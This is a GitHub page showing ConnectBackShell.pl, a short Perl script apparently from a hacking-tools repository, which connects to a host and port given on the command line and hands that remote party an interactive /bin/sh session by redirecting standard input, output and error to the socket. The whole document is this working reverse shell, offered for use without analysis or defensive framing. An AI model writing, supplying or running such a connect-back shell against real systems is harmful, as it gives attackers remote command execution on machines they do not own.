forked from Shadow-Network/perl-scripts
- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathConnectBackShell.pl
More file actions
Latest commit
20 lines (17 loc) · 604 Bytes
/
Copy pathConnectBackShell.pl
File metadata and controls
20 lines (17 loc) · 604 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/perl
# ConnectBackShell in Perl. Shadow120 - w4ck1ng.com
use Socket;
$host = $ARGV[0];
$port = $ARGV[1];
if (!$ARGV[0]) {
printf"[!] Usage: perl script.pl <Host> <Port>\n";
exit(1);
}
print"[+] Connecting to $host\n";
$prot = getprotobyname('tcp'); # You can change this if needs be
socket(SERVER, PF_INET, SOCK_STREAM, $prot) || die ("[-] Unable to Connect !");
if (!connect(SERVER, pack"SnA4x8", 2, $port, inet_aton($host))) {die("[-] Unable to Connect !");}
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash' . "\0"x4;